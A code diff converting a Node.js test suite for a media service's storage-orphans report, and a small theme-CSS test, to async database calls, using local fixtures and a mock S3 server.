- raw.prepare(`INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('abc123-notes.txt', 'live', 'notes.txt', 16, 'text/plain')`).run();
- write(path.join(env.FILES_PATH, 'live'), 'abc123-notes.txt');
- model.sync('file', 'abc123-notes.txt');
- // A native object soft-deleted inside its retention period keeps its bytes wanted.
- const kept = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', visibility: 'private', size_bytes: 16 });
- const keptPath = write(path.join(env.OBJECTS_PATH, 'live'), kept, 16);
- model.upsertLocation(kept, { provider: 'local', key: keptPath, state: 'present', size_bytes: 16, verified: true });
- model.softDelete(model.getObject(kept));
- // A clip deleted by its row: the object is deleted, its file stayed behind.
- raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, status) VALUES (21, 'live', 1, 'gone clip', ?, 'ready')`).run(write(env.CLIPS_PATH, 'clip-live-21.webm', 12));
- model.sync('clip', 21);
- const clipObj = db.get('SELECT object_id FROM clips WHERE id = 21').object_id;
- raw.prepare('DELETE FROM clips WHERE id = 21').run();
- // Media's own multipart sessions: one open and expired (its parts wanted), one expired session's parts dir with no session.
- raw.prepare(`INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, status, expires_at)
- VALUES ('mup_OPEN', ?, 'live', 8, 16, 2, 'active', datetime('now', '-1 hour'))`).run(kept);
- raw.prepare("INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES ('mup_OPEN', 1, 8, 'x')").run();
- write(path.join(env.OBJECTS_PATH, '.parts', 'mup_OPEN'), '1', 8, 3 * HOUR);
-
- // ── What storage holds that no row names ──
- write(env.VOD_PATH, 'vod-live-99-1758000000099.webm', 1000); // the recorder's name; row 99 never existed
- write(env.VOD_PATH, 'mystery.bin', 500);
- write(env.VOD_PATH, 'vod-live-1-1758000000001.seekable.webm', 5); // a sidecar of vod 1: wanted
- write(env.THUMBNAILS_PATH, 'stream-live-1.jpg'); // a live thumbnail: expected
- write(path.join(env.OBJECTS_PATH, '.tmp'), 'med_OLD-abcd', 30, 3 * HOUR); // an upload that never finished
- write(path.join(env.OBJECTS_PATH, '.tmp'), 'med_NOW-abcd', 30); // one in flight right now
- write(path.join(env.OBJECTS_PATH, '.parts', 'mup_GONE'), '1', 8, 3 * HOUR); // parts with no session
- buckets['b2-bucket'].set('vods/stray.webm', Buffer.alloc(70));
- buckets['b2-bucket'].set('vods-orphans/vod-live-7-1758000000007.webm', Buffer.alloc(80));
-
- // ── Everything before, to prove nothing changes ──
- const snapshotFiles = () => {
- const out = [];
- const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); if (e.isDirectory()) { if (p !== path.join(tmp, 'data')) walk(p); } else out.push(`${path.relative(tmp, p)}:${fs.statSync(p).size}:${fs.statSync(p).mtimeMs}`); } };
- walk(tmp);
- return out.sort();
- };
- const TABLES = ['vods', 'clips', 'files', 'pastes', 'media_objects', 'media_locations', 'media_holds', 'media_uploads', 'media_upload_parts'];
- const snapshotDb = () => Object.fromEntries(TABLES.map(t => [t, crypto.createHash('sha256').update(JSON.stringify(raw.prepare(`SELECT * FROM ${t} ORDER BY rowid`).all())).digest('hex')]));
- const snapshotBuckets = () => JSON.stringify(Object.entries(buckets).map(([b, m]) => [b, [...m.keys()].sort()]));
- const before = { files: snapshotFiles(), db: snapshotDb(), buckets: snapshotBuckets() };
-
- const report = await orphans.buildStorageReport({ limit: 50 });
-
- // ── Unreferenced local files ──
- const local = Object.fromEntries(report.unreferenced_local.map(f => [`${f.root}/${f.path.split(path.sep).join('/')}`, f]));
- assert.deepStrictEqual(Object.keys(local).sort(), [
- 'clips/clip-live-21.webm', 'objects/.parts/mup_GONE/1', 'objects/.tmp/med_OLD-abcd', 'vods/mystery.bin', 'vods/vod-live-99-1758000000099.webm',
- ], 'exactly the files no row names');
- assert.ok(/whose row is gone/.test(local['vods/vod-live-99-1758000000099.webm'].hint), 'a recorder name says whose recording it was');
- assert.strictEqual(local['clips/clip-live-21.webm'].hint, `bytes of deleted object ${clipObj} (legacy:live:clip:21)`);
- assert.ok(/no session/.test(local['objects/.parts/mup_GONE/1'].hint));
- assert.ok(/never finished/.test(local['objects/.tmp/med_OLD-abcd'].hint));
- assert.strictEqual(local['vods/mystery.bin'].hint, null);
- assert.strictEqual(report.unreferenced_local[0].path, 'vod-live-99-1758000000099.webm', 'largest first');
- assert.deepStrictEqual([report.totals.unreferenced_local.files, report.totals.unreferenced_local.bytes], [5, 1000 + 500 + 30 + 8 + 12]);
- assert.deepStrictEqual(report.totals.expected, { live_thumbnails: 1, in_flight: 1 }, 'live thumbnails and uploads in flight are expected, not orphans');
- console.log('✅ unreferenced local files: recordings without a row, strays, bytes of deleted objects, stale temps and parts');
-
- // ── Unreferenced bucket keys ──
- const remote = Object.fromEntries(report.unreferenced_remote.map(k => [`${k.provider}:${k.key}`, k]));
- assert.deepStrictEqual(Object.keys(remote).sort(), ['b2:vods-orphans/vod-live-7-1758000000007.webm', 'b2:vods/stray.webm', 'r2:vods/vod-live-4-1758000000004.webm']);
- assert.ok(/vods-orphans-report/.test(remote['b2:vods-orphans/vod-live-7-1758000000007.webm'].hint), 'parked recordings point at the prefix report');
- assert.strictEqual(remote['r2:vods/vod-live-4-1758000000004.webm'].hint, 'an R2 copy of vod 4, which is served from b2');
- assert.deepStrictEqual(report.totals.unreferenced_remote, { b2: { keys: 2, bytes: 150 }, r2: { keys: 1, bytes: 50 } });
- assert.deepStrictEqual([report.scope.providers.b2.listed, report.scope.providers.b2.keys, report.scope.providers.r2.keys], [true, 5, 2]);
- console.log('✅ unreferenced bucket keys: strays, parked recordings, an R2 copy left behind by a demotion');
-
- // ── Copies the database records that are not there ──
- const missing = report.missing.map(m => `${m.legacy_ref}:${m.provider}`).sort();
- assert.deepStrictEqual(missing, ['legacy:live:vod:5:local', 'legacy:live:vod:6:b2'], 'a lost local file and a lost B2 key');
- assert.deepStrictEqual(report.totals.missing, { locations: 2, by_provider: { local: 1, b2: 1 } });
- console.log('✅ missing copies: rows whose location is not in storage');
-
- // ── Multipart uploads left open ──
- assert.deepStrictEqual(report.multipart_local.map(u => [u.upload_id, u.expired, u.parts_received]), [['mup_OPEN', true, 1]]);
- assert.deepStrictEqual(report.totals.multipart_local, { open: 1, expired: 1 });
- assert.deepStrictEqual(report.multipart_remote.map(u => [u.provider, u.key, u.upload_id, u.key_named_by_a_row]), [['b2', 'vods/half-uploaded.webm', 'up-b2-1', false]]);
- assert.deepStrictEqual(report.totals.multipart_remote, { b2: 1, r2: 0 });
- console.log('✅ open multipart uploads: Media\'s expired sessions and the buckets\' own');
-
- // ── Report only ──
- assert.deepStrictEqual(snapshotFiles(), before.files, 'no file was deleted, moved or touched');
- assert.deepStrictEqual(snapshotDb(), before.db, 'no row changed');
- assert.strictEqual(snapshotBuckets(), before.buckets, 'no bucket key changed');
- assert.strictEqual(writes, 0, 'no PUT, POST or DELETE reached a bucket');
- const src = fs.readFileSync(path.join(__dirname, '..', 'server', 'vod', 'orphans-report.js'), 'utf8');
- assert.ok(!/unlink|rmSync|rmdirSync|renameSync|DeleteObject|deleteObject|uploadFile|copyBetweenProviders|\b(DELETE|UPDATE|INSERT)\s/.test(src), 'the report module holds no delete, move or write');
- console.log('✅ report only: files, rows and buckets are unchanged; the module has no delete, move or write');
-
- // ── The job: service-wide, scheduled, not for tenants ──
- assert.strictEqual(storageJob.schedule(Date.now()), 1, 'the monthly scan is queued');
- assert.strictEqual(storageJob.schedule(Date.now()), 0, 'once per period');
- process.env.MEDIA_ORPHAN_SCAN_DAYS = '0';
- assert.strictEqual(storageJob.schedule(Date.now() + 90 * 86400 * 1000), 0, 'MEDIA_ORPHAN_SCAN_DAYS=0 schedules nothing');
- delete process.env.MEDIA_ORPHAN_SCAN_DAYS;
- const job = db.get("SELECT * FROM media_jobs WHERE job_type = 'storage.orphans.scan'");
- assert.deepStrictEqual([job.app_id, job.status, job.created_by], [queue.SYSTEM_APP, 'queued', 'system:schedule']);
- const done = await require('../server/jobs/worker').runNow(job.id);
- assert.strictEqual(done.status, 'succeeded', done.error || '');
- const result = JSON.parse(done.result);
- assert.strictEqual(result.totals.unreferenced_local.files, 5);
- const reportFile = path.join(tmp, 'data', 'reports', result.report);
- assert.ok(fs.existsSync(reportFile), 'the job writes its report under <data>/reports');
- assert.strictEqual(JSON.parse(fs.readFileSync(reportFile, 'utf8')).job_id, job.id);
- assert.deepStrictEqual(snapshotFiles(), before.files, 'the job deleted nothing either');
- assert.strictEqual(writes, 0);
-
- const express = require('express');
- const app = express();
- app.use(express.json());
- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
- const post = (p, body) => new Promise((resolve, reject) => {
- const data = JSON.stringify(body);
- const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST',
- headers: { Authorization: 'Bearer live-key-orphans', 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },
- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
- rq.on('error', reject);
- rq.end(data);
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-orphans-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+
+ const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };
+ const openUploads = { 'b2-bucket': [{ key: 'vods/half-uploaded.webm', id: 'up-b2-1' }], 'r2-bucket': [] };
+ let writes = 0;
+ const xml = (v) => String(v).replace(/&/g, '&').replace(/</g, '<');
+ const s3 = http.createServer((req, res) => {
+ req.resume();
+ req.on('end', () => {
+ const u = new URL(req.url, 'http://x');
+ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
+ const key = rest.join('/');
+ const store = buckets[bucket];
+ if (!store) { res.writeHead(404); return res.end(); }
+ if (req.method !== 'GET' && req.method !== 'HEAD') { writes++; res.writeHead(403, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>AccessDenied</Code></Error>'); }
+ if (!key && u.searchParams.has('uploads')) {
+ res.writeHead(200, { 'Content-Type': 'application/xml' });
+ return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListMultipartUploadsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Bucket>${bucket}</Bucket><IsTruncated>false</IsTruncated>${
+ openUploads[bucket].map(x => `<Upload><Key>${xml(x.key)}</Key><UploadId>${x.id}</UploadId><Initiated>2026-09-01T00:00:00.000Z</Initiated></Upload>`).join('')}</ListMultipartUploadsResult>`);
+ }
+ if (!key && u.searchParams.get('list-type') === '2') {
+ const prefix = u.searchParams.get('prefix') || '';
+ const keys = [...store.keys()].filter(k => k.startsWith(prefix)).sort();
+ res.writeHead(200, { 'Content-Type': 'application/xml' });
+ return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>${bucket}</Name><Prefix>${xml(prefix)}</Prefix><KeyCount>${keys.length}</KeyCount><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated>${
+ keys.map(k => `<Contents><Key>${xml(k)}</Key><LastModified>2026-09-21T00:00:00.000Z</LastModified><ETag>"e"</ETag><Size>${store.get(k).length}</Size><StorageClass>STANDARD</StorageClass></Contents>`).join('')}</ListBucketResult>`);
+ }
+ const obj = store.get(key);
+ if (!obj) { res.writeHead(404); return res.end(); }
+ res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"' });
+ res.end(req.method === 'GET' ? obj : undefined);
+ });
});
});
- const r = await post('/api/v2/live/jobs', { type: 'storage.orphans.scan' });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'media.job.forbidden'], 'a tenant cannot run the service-wide scan');
- server.close();
- console.log('✅ storage.orphans.scan: scheduled once per period under the system app, writes its report, refused to tenants');
-
- // ── The script, on demand ──
- const out = path.join(tmp, 'script-report.json');
- const text = execFileSync(process.execPath, [path.join(__dirname, '..', 'scripts', 'vods-orphans-report.js'), '--storage', '--no-remote', '--out', out],
- { env: { ...process.env, ...env }, encoding: 'utf8' });
- assert.ok(/Unreferenced local files: 5/.test(text) && /Nothing was deleted or moved/.test(text), text);
- const scripted = JSON.parse(fs.readFileSync(out, 'utf8'));
- assert.deepStrictEqual([scripted.totals.unreferenced_local.files, Object.keys(scripted.scope.providers).length], [5, 0], '--no-remote lists no bucket');
- assert.deepStrictEqual(snapshotFiles().filter(f => !f.startsWith('script-report.json')), before.files);
- console.log('✅ scripts/vods-orphans-report.js --storage runs the same report on demand');
-
- s3.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('storage orphans: all checks passed');
- process.exit(0);
+
+ (async () => {
+ await new Promise((r) => s3.listen(0, '127.0.0.1', r));
+ const endpoint = `http://127.0.0.1:${s3.address().port}`;
+ const env = {
+ DB_PATH: path.join(tmp, 'data', 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
+ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
+ MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',
+ AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',
+ MEDIA_PUBLIC_URL: 'https://media.test',
+ };
+ Object.assign(process.env, env);
+ delete process.env.MEDIA_ORPHAN_SCAN_DAYS;
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const queue = require('../server/jobs/queue');
+ require('../server/jobs/types');
+ const orphans = require('../server/vod/orphans-report');
+ const storageJob = require('../server/jobs/storage-orphans');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-orphans' });
+ const raw = db.getDb();
+ const write = (d, name, bytes = 16, ageMs = 0) => {
+ const p = path.join(d, name);
+ fs.mkdirSync(path.dirname(p), { recursive: true });
+ fs.writeFileSync(p, Buffer.alloc(bytes, 7));
+ if (ageMs) { const t = (Date.now() - ageMs) / 1000; fs.utimesSync(p, t, t); }
+ return p;
+ };
+ const HOUR = 3600 * 1000;
+
+ // ── Fixtures: what the database names ──
+ const ins = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key, thumbnail_url) OVERRIDING SYSTEM VALUE
+ VALUES (?, 'live', ?, ?, ?, 1, 'public', 60, ?, ?, ?) RETURNING id`);
+ await ins.run(1, 'local', write(env.VOD_PATH, 'vod-live-1-1758000000001.webm', 40), 40, 'local', null, '/t/vod-1-111.jpg');
+ write(env.THUMBNAILS_PATH, 'vod-1-111.jpg');
+ await ins.run(2, 'in B2', '/old/vod-live-2-1758000000002.webm', 20, 'b2', 'vods/vod-live-2-1758000000002.webm', null);
+ buckets['b2-bucket'].set('vods/vod-live-2-1758000000002.webm', Buffer.alloc(20));
+ await ins.run(3, 'served from R2', '/old/vod-live-3-1758000000003.webm', 30, 'r2', 'vods/vod-live-3-1758000000003.webm', null);
+ buckets['b2-bucket'].set('vods/vod-live-3-1758000000003.webm', Buffer.alloc(30));
+ buckets['r2-bucket'].set('vods/vod-live-3-1758000000003.webm', Buffer.alloc(30));
+ await ins.run(4, 'back in B2, R2 copy left', '/old/vod-live-4-1758000000004.webm', 50, 'b2', 'vods/vod-live-4-1758000000004.webm', null);
+ buckets['b2-bucket'].set('vods/vod-live-4-1758000000004.webm', Buffer.alloc(50));
+ buckets['r2-bucket'].set('vods/vod-live-4-1758000000004.webm', Buffer.alloc(50));
+ await ins.run(5, 'local file lost', path.join(env.VOD_PATH, 'vod-live-5-1758000000005.webm'), 10, 'local', null, null);
+ await ins.run(6, 'B2 key lost', '/old/vod-live-6-1758000000006.webm', 60, 'b2', 'vods/vod-live-6-1758000000006.webm', null);
+ for (const id of [1, 2, 3, 4, 5, 6]) await model.sync('vod', id);
+ await raw.prepare(`INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('abc123-notes.txt', 'live', 'notes.txt', 16, 'text/plain')`).run();
+ write(path.join(env.FILES_PATH, 'live'), 'abc123-notes.txt');
+ await model.sync('file', 'abc123-notes.txt');
+ // A native object soft-deleted inside its retention period keeps its bytes wanted.
+ const kept = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', visibility: 'private', size_bytes: 16 });
+ const keptPath = write(path.join(env.OBJECTS_PATH, 'live'), kept, 16);
+ await model.upsertLocation(kept, { provider: 'local', key: keptPath, state: 'present', size_bytes: 16, verified: true });
+ await model.softDelete(await model.getObject(kept));
+ // A clip deleted by its row: the object is deleted, its file stayed behind.
+ await raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, status) OVERRIDING SYSTEM VALUE VALUES (21, 'live', 1, 'gone clip', ?, 'ready') RETURNING id`).run(write(env.CLIPS_PATH, 'clip-live-21.webm', 12));
+ await model.sync('clip', 21);
+ const clipObj = (await db.get('SELECT object_id FROM clips WHERE id = 21')).object_id;
+ await raw.prepare('DELETE FROM clips WHERE id = 21').run();
+ // Media's own multipart sessions: one open and expired (its parts wanted), one expired session's parts dir with no session.
+ await raw.prepare(`INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, status, expires_at)
+ VALUES ('mup_OPEN', ?, 'live', 8, 16, 2, 'active', datetime('now', '-1 hour'))`).run(kept);
+ await raw.prepare("INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES ('mup_OPEN', 1, 8, 'x')").run();
+ write(path.join(env.OBJECTS_PATH, '.parts', 'mup_OPEN'), '1', 8, 3 * HOUR);
+
+ // ── What storage holds that no row names ──
+ write(env.VOD_PATH, 'vod-live-99-1758000000099.webm', 1000); // the recorder's name; row 99 never existed
+ write(env.VOD_PATH, 'mystery.bin', 500);
+ write(env.VOD_PATH, 'vod-live-1-1758000000001.seekable.webm', 5); // a sidecar of vod 1: wanted
+ write(env.THUMBNAILS_PATH, 'stream-live-1.jpg'); // a live thumbnail: expected
+ write(path.join(env.OBJECTS_PATH, '.tmp'), 'med_OLD-abcd', 30, 3 * HOUR); // an upload that never finished
+ write(path.join(env.OBJECTS_PATH, '.tmp'), 'med_NOW-abcd', 30); // one in flight right now
+ write(path.join(env.OBJECTS_PATH, '.parts', 'mup_GONE'), '1', 8, 3 * HOUR); // parts with no session
+ buckets['b2-bucket'].set('vods/stray.webm', Buffer.alloc(70));
+ buckets['b2-bucket'].set('vods-orphans/vod-live-7-1758000000007.webm', Buffer.alloc(80));
+
+ // ── Everything before, to prove nothing changes ──
+ const snapshotFiles = () => {
+ const out = [];
+ const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); if (e.isDirectory()) { if (p !== path.join(tmp, 'data')) walk(p); } else out.push(`${path.relative(tmp, p)}:${fs.statSync(p).size}:${fs.statSync(p).mtimeMs}`); } };
+ walk(tmp);
+ return out.sort();
+ };
+ const TABLES = ['vods', 'clips', 'files', 'pastes', 'media_objects', 'media_locations', 'media_holds', 'media_uploads', 'media_upload_parts'];
+ const snapshotDb = async () => Object.fromEntries((await Promise.all(TABLES.map(async t => [t, crypto.createHash('sha256').update(JSON.stringify(await raw.prepare(`SELECT * FROM ${t} ORDER BY ${t}::text`).all())).digest('hex')]))));
+ const snapshotBuckets = () => JSON.stringify(Object.entries(buckets).map(([b, m]) => [b, [...m.keys()].sort()]));
+ const before = { files: snapshotFiles(), db: await snapshotDb(), buckets: snapshotBuckets() };
+
+ const report = await orphans.buildStorageReport({ limit: 50 });
+
+ // ── Unreferenced local files ──
+ const local = Object.fromEntries(report.unreferenced_local.map(f => [`${f.root}/${f.path.split(path.sep).join('/')}`, f]));
+ assert.deepStrictEqual(Object.keys(local).sort(), [
+ 'clips/clip-live-21.webm', 'objects/.parts/mup_GONE/1', 'objects/.tmp/med_OLD-abcd', 'vods/mystery.bin', 'vods/vod-live-99-1758000000099.webm',
+ ], 'exactly the files no row names');
+ assert.ok(/whose row is gone/.test(local['vods/vod-live-99-1758000000099.webm'].hint), 'a recorder name says whose recording it was');
+ assert.strictEqual(local['clips/clip-live-21.webm'].hint, `bytes of deleted object ${clipObj} (legacy:live:clip:21)`);
+ assert.ok(/no session/.test(local['objects/.parts/mup_GONE/1'].hint));
+ assert.ok(/never finished/.test(local['objects/.tmp/med_OLD-abcd'].hint));
+ assert.strictEqual(local['vods/mystery.bin'].hint, null);
+ assert.strictEqual(report.unreferenced_local[0].path, 'vod-live-99-1758000000099.webm', 'largest first');
+ assert.deepStrictEqual([report.totals.unreferenced_local.files, report.totals.unreferenced_local.bytes], [5, 1000 + 500 + 30 + 8 + 12]);
+ assert.deepStrictEqual(report.totals.expected, { live_thumbnails: 1, in_flight: 1 }, 'live thumbnails and uploads in flight are expected, not orphans');
+ console.log('✅ unreferenced local files: recordings without a row, strays, bytes of deleted objects, stale temps and parts');
+
+ // ── Unreferenced bucket keys ──
+ const remote = Object.fromEntries(report.unreferenced_remote.map(k => [`${k.provider}:${k.key}`, k]));
+ assert.deepStrictEqual(Object.keys(remote).sort(), ['b2:vods-orphans/vod-live-7-1758000000007.webm', 'b2:vods/stray.webm', 'r2:vods/vod-live-4-1758000000004.webm']);
+ assert.ok(/vods-orphans-report/.test(remote['b2:vods-orphans/vod-live-7-1758000000007.webm'].hint), 'parked recordings point at the prefix report');
+ assert.strictEqual(remote['r2:vods/vod-live-4-1758000000004.webm'].hint, 'an R2 copy of vod 4, which is served from b2');
+ assert.deepStrictEqual(report.totals.unreferenced_remote, { b2: { keys: 2, bytes: 150 }, r2: { keys: 1, bytes: 50 } });
+ assert.deepStrictEqual([report.scope.providers.b2.listed, report.scope.providers.b2.keys, report.scope.providers.r2.keys], [true, 5, 2]);
+ console.log('✅ unreferenced bucket keys: strays, parked recordings, an R2 copy left behind by a demotion');
+
+ // ── Copies the database records that are not there ──
+ const missing = report.missing.map(m => `${m.legacy_ref}:${m.provider}`).sort();
+ assert.deepStrictEqual(missing, ['legacy:live:vod:5:local', 'legacy:live:vod:6:b2'], 'a lost local file and a lost B2 key');
+ assert.deepStrictEqual(report.totals.missing, { locations: 2, by_provider: { local: 1, b2: 1 } });
+ console.log('✅ missing copies: rows whose location is not in storage');
+
+ // ── Multipart uploads left open ──
+ assert.deepStrictEqual(report.multipart_local.map(u => [u.upload_id, u.expired, u.parts_received]), [['mup_OPEN', true, 1]]);
+ assert.deepStrictEqual(report.totals.multipart_local, { open: 1, expired: 1 });
+ assert.deepStrictEqual(report.multipart_remote.map(u => [u.provider, u.key, u.upload_id, u.key_named_by_a_row]), [['b2', 'vods/half-uploaded.webm', 'up-b2-1', false]]);
+ assert.deepStrictEqual(report.totals.multipart_remote, { b2: 1, r2: 0 });
+ console.log('✅ open multipart uploads: Media\'s expired sessions and the buckets\' own');
+
+ // ── Report only ──
+ assert.deepStrictEqual(snapshotFiles(), before.files, 'no file was deleted, moved or touched');
+ assert.deepStrictEqual(await snapshotDb(), before.db, 'no row changed');
+ assert.strictEqual(snapshotBuckets(), before.buckets, 'no bucket key changed');
+ assert.strictEqual(writes, 0, 'no PUT, POST or DELETE reached a bucket');
+ const src = fs.readFileSync(path.join(__dirname, '..', 'server', 'vod', 'orphans-report.js'), 'utf8');
+ assert.ok(!/unlink|rmSync|rmdirSync|renameSync|DeleteObject|deleteObject|uploadFile|copyBetweenProviders|\b(DELETE|UPDATE|INSERT)\s/.test(src), 'the report module holds no delete, move or write');
+ console.log('✅ report only: files, rows and buckets are unchanged; the module has no delete, move or write');
+
+ // ── The job: service-wide, scheduled, not for tenants ──
+ assert.strictEqual(await storageJob.schedule(Date.now()), 1, 'the monthly scan is queued');
+ assert.strictEqual(await storageJob.schedule(Date.now()), 0, 'once per period');
+ process.env.MEDIA_ORPHAN_SCAN_DAYS = '0';
+ assert.strictEqual(await storageJob.schedule(Date.now() + 90 * 86400 * 1000), 0, 'MEDIA_ORPHAN_SCAN_DAYS=0 schedules nothing');
+ delete process.env.MEDIA_ORPHAN_SCAN_DAYS;
+ const job = await db.get("SELECT * FROM media_jobs WHERE job_type = 'storage.orphans.scan'");
+ assert.deepStrictEqual([job.app_id, job.status, job.created_by], [queue.SYSTEM_APP, 'queued', 'system:schedule']);
+ const done = await require('../server/jobs/worker').runNow(job.id);
+ assert.strictEqual(done.status, 'succeeded', done.error || '');
+ const result = JSON.parse(done.result);
+ assert.strictEqual(result.totals.unreferenced_local.files, 5);
+ const reportFile = path.join(tmp, 'data', 'reports', result.report);
+ assert.ok(fs.existsSync(reportFile), 'the job writes its report under <data>/reports');
+ assert.strictEqual(JSON.parse(fs.readFileSync(reportFile, 'utf8')).job_id, job.id);
+ assert.deepStrictEqual(snapshotFiles(), before.files, 'the job deleted nothing either');
+ assert.strictEqual(writes, 0);
+
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
+ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
+ const post = (p, body) => new Promise((resolve, reject) => {
+ const data = JSON.stringify(body);
+ const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST',
+ headers: { Authorization: 'Bearer live-key-orphans', 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },
+ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });
+ rq.on('error', reject);
+ rq.end(data);
+ });
+ const r = await post('/api/v2/live/jobs', { type: 'storage.orphans.scan' });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'media.job.forbidden'], 'a tenant cannot run the service-wide scan');
+ server.close();
+ console.log('✅ storage.orphans.scan: scheduled once per period under the system app, writes its report, refused to tenants');
+
+ // ── The script, on demand ──
+ const out = path.join(tmp, 'script-report.json');
+ const { runScript } = require('./helpers/run-script');
+ const text = (await runScript(path.join(__dirname, '..', 'scripts', 'vods-orphans-report.js'), ['--storage', '--no-remote', '--out', out], { env })).out;
+ assert.ok(/Unreferenced local files: 5/.test(text) && /Nothing was deleted or moved/.test(text), text);
+ const scripted = JSON.parse(fs.readFileSync(out, 'utf8'));
+ assert.deepStrictEqual([scripted.totals.unreferenced_local.files, Object.keys(scripted.scope.providers).length], [5, 0], '--no-remote lists no bucket');
+ assert.deepStrictEqual(snapshotFiles().filter(f => !f.startsWith('script-report.json')), before.files);
+ console.log('✅ scripts/vods-orphans-report.js --storage runs the same report on demand');
+
+ s3.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('storage orphans: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -3,16 +3,18 @@
@@ -3,16 +3,18 @@
// default theme when openvibe.network (the theme loader) is unreachable. The browser check's --network-down
// default theme when openvibe.network (the theme loader) is unreachable. The browser check's --network-down
// run found --accent undefined here on 2026-09-26 (the styles used fallbacks, shared components did not).
// run found --accent undefined here on 2026-09-26 (the styles used fallbacks, shared components did not).
const assert = require('assert');
const assert = require('assert');
-const { baseCss } = require('../server/public/page-frame');
-const { DEFAULT_VARS } = require('openvibe-shared/builtin-themes');
+(async () => {
+ const { baseCss } = require('../server/public/page-frame');
+ const { DEFAULT_VARS } = require('openvibe-shared/builtin-themes');
-const css = baseCss();
-for (const k of ['--accent', '--bg-primary', '--text-primary']) {
- assert.ok(DEFAULT_VARS[k], `openvibe-shared has a default ${k}`);
- assert.ok(css.includes(`${k}:${DEFAULT_VARS[k]}`), `the page defines ${k} as the default theme does`);
-}
-assert.ok(!/url\(|;\s*}/.test(css.split('\n').find((l) => l.includes('--accent:')) || ''), 'only plain token values');
-// The index page (browse.js) writes its own <style>: it carries the same tokens.
-const src = require('fs').readFileSync(require('path').join(__dirname, '..', 'server', 'public', 'browse.js'), 'utf8');
-assert.ok(/<style>\n\$\{DEFAULT_THEME_CSS \?/.test(src), 'browse.js puts the default tokens first in its style');
-console.log('theme default: all checks passed');
+ const css = baseCss();
+ for (const k of ['--accent', '--bg-primary', '--text-primary']) {
+ assert.ok(DEFAULT_VARS[k], `openvibe-shared has a default ${k}`);
+ assert.ok(css.includes(`${k}:${DEFAULT_VARS[k]}`), `the page defines ${k} as the default theme does`);
+ }
+ assert.ok(!/url\(|;\s*}/.test(css.split('\n').find((l) => l.includes('--accent:')) || ''), 'only plain token values');
+ // The index page (browse.js) writes its own <style>: it carries the same tokens.
+ const src = require('fs').readFileSync(require('path').join(__dirname, '..', 'server', 'public', 'browse.js'), 'utf8');
+ assert.ok(/<style>\n\$\{DEFAULT_THEME_CSS \?/.test(src), 'browse.js puts the default tokens first in its style');
+ console.log('theme default: all checks passed');
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -11,53 +11,55 @@ const path = require('path');
@@ -11,53 +11,55 @@ const path = require('path');
const http = require('http');
const http = require('http');
const express = require('express');
const express = require('express');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-thumbfail-'));
